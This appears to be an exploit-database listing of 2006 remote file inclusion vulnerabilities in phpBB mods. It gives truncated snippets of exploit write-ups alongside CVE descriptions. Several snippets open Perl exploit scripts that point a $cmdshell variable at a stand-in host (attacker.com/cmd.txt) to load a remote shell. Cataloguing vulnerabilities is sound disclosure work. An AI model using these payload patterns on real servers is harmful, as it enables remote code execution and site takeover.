phpBB Ajax Shoutbox 0.0.5 - Remote File Inclusion

Title: phpBB Ajax Shoutbox = 0.0.5 phpbbrootpath Remote File Inclusion Author/Discovery: boecke Vulnerability Type: Remote File Inclusion Risk: High Risk Software Affected: phpBB Ajax Shoutbox = 0.0.5 Release Source: http://usuarios.lycos.es/kinfule/download.php?id=16 Release Page @ phpBB.com :...

phpBB Journals System Mod 1.0.2 RC2 - Remote File Inclusion

!/usr/bin/perl Journals System Independant Journals System for phpBB Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://projects.nbishop.name/phpbb/files/journalssystem1.0.2.zip use IO::Socket; use LWP::Simple;...

phpBB SpamBlocker Mod 1.0.2 - Remote File Inclusion

!/usr/bin/perl SpamBlockerMod package for phpBB Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://leo.vak.ru/devel/spamblocker/spamblockermodv1.0.2.zip use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ======...

phpBB Import Tools Mod 0.1.4 - Remote File Inclusion

Title: phpBB Import Tools Mod = 0.1.4 phpbbrootpath Remote File Inclusion Author/Discovery: boecke Vulnerability Type: Remote File Inclusion Risk: High Risk Software Affected: phpBB Import Tools Mod = 0.1.4 Literally shouts to: str0ke and henrik Don't promote Google-ism! Vulnerable Code:...

phpBB Insert User Mod 0.1.2 - Remote File Inclusion

!/usr/bin/perl PHPBB insert user 0.1.2 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://www.grahameames.co.uk/phpbb/downloads/insertuser0.1.2.zip use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ====== Change...

phpBB Journals System Mod 1.0.2 [RC2] Remote File Include Exploit

No description provided by source. !/usr/bin/perl Journals System Independant Journals System for phpBB Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://projects.nbishop.name/phpbb/files/journalssystem1.0.2.zip use IO::Socket; use...

CVE-2006-5235

PHP remote file inclusion vulnerability in includes/functionskb.php in Dimension of phpBB 0.2.6 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter. NOTE: the provenance of this information is unknown; the details are obtained from third part...

CVE-2006-5235

The CVE-2006-5235 entry describes a PHP remote file inclusion (RFI) in Dimension of phpBB (0.2.6 and earlier) via the phpbb_root_path parameter, allowing an attacker to execute arbitrary PHP code. Related records (CVE-2006-7174) describe the same issue in the Dimension module’s includes/functions...

CVE-2006-5222

Multiple PHP remote file inclusion vulnerabilities in Dimension of phpBB 0.2.6 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter in 1 includes/themenportalmitte.php or 2 includes/loggerengine.php...

CVE-2006-5224

The CVE-2006-5224 issue is a PHP remote file inclusion vulnerability in Dimitri Seitz Security Suite IP Logger 1.0.0 (dwingmods for phpBB). The flaw occurs in includes/logger_engine.php and allows an attacker to execute arbitrary PHP code by supplying a URL in the phpbb_root_path parameter. The c...

CVE-2006-5223

CVE-2006-5223 : Affected product: Nivisec User Viewed Posts Tracker module for phpBB (version 1.0 and earlier). Vulnerability : PHP remote file inclusion in includes/functions_user_viewed_posts.php via a URL supplied to the phpbb_root_path parameter, enabling remote PHP code execution. Impact : a...

CVE-2006-5222

CVE-2006-5222 describes multiple PHP remote file inclusion vulnerabilities in Dimension of phpBB 0.2.6 and earlier. The flaw allows an attacker to craft a URL that sets the phpbb_root_path parameter to include a remote PHP file, triggering code execution on the server via one of two affected scri...

CVE-2006-5222

Multiple PHP remote file inclusion vulnerabilities in Dimension of phpBB 0.2.6 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter in 1 includes/themenportalmitte.php or 2 includes/loggerengine.php...

CVE-2006-5223

PHP remote file inclusion vulnerability in includes/functionsuserviewedposts.php in the Nivisec User Viewed Posts Tracker module 1.0 and earlier for phpBB allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter...

CVE-2006-5209

PHP remote file inclusion vulnerability in admin/admintopicactionlogging.php in Admin Topic Action Logging Mod 0.95 and earlier, as used in phpBB 2.0 up to 2.0.21, allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter...

CVE-2006-5209

The CVE-2006-5209 entry describes a PHP remote file inclusion in Admin Topic Action Logging Mod 0.95 and earlier, used with phpBB 2.0 up to 2.0.21. The vulnerability allows remote attackers to execute arbitrary PHP code via a URL supplied to the phpbb_root_path parameter in admin/admin_topic_acti...

CVE-2006-5209

PHP remote file inclusion vulnerability in admin/admintopicactionlogging.php in Admin Topic Action Logging Mod 0.95 and earlier, as used in phpBB 2.0 up to 2.0.21, allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter...

phpBB Security Suite Mod 1.0.0 (logger_engine.php) Remote File Include

/ ,, / / '-./.-' .--' '--. / / /"" SpiderZ Hacking Security | | | | / / '..' Author: SpiderZ Security Suite IP Logger Remote File Inclusion Vulnerability For: phpBB 2.0.x - 2.0.21 Site: www.spiderz.altervista.org Site02: www.spiderz.netsons.org Remote File Inclusion - Security Suite IP Logger...

phpBB Security Suite Mod 1.0.0 (logger_engine.php) Remote File Include

/ ,, / / '-./.-' .--' '--. / / /"" SpiderZ Hacking Security | | | | / / '..' Author: SpiderZ Dimension of phpBB Remote File Inclusion Vulnerability For: Dimension of phpBB 0.2.5 phpBB 2.0.21 Site: www.spiderz.altervista.org Site02: www.spiderz.netsons.org Remote File Inclusion...

phpBB Random User Registration Number 1.0 Mod Inclusion Vulnerability

phpBB RANDOm USER REGISTRATION NUMBER 1.0 File Include Vulnerability - bd0rk || SOH-Crew - URL: http://www.nivisec.com/downloads/phpbb/randomimageregisterv100.zip - Code: include$phpbbrootpath . 'language/lang' . $boardconfig'defaultlang' . '/langrandomnumreg.' . $phpEx; + Exploit:...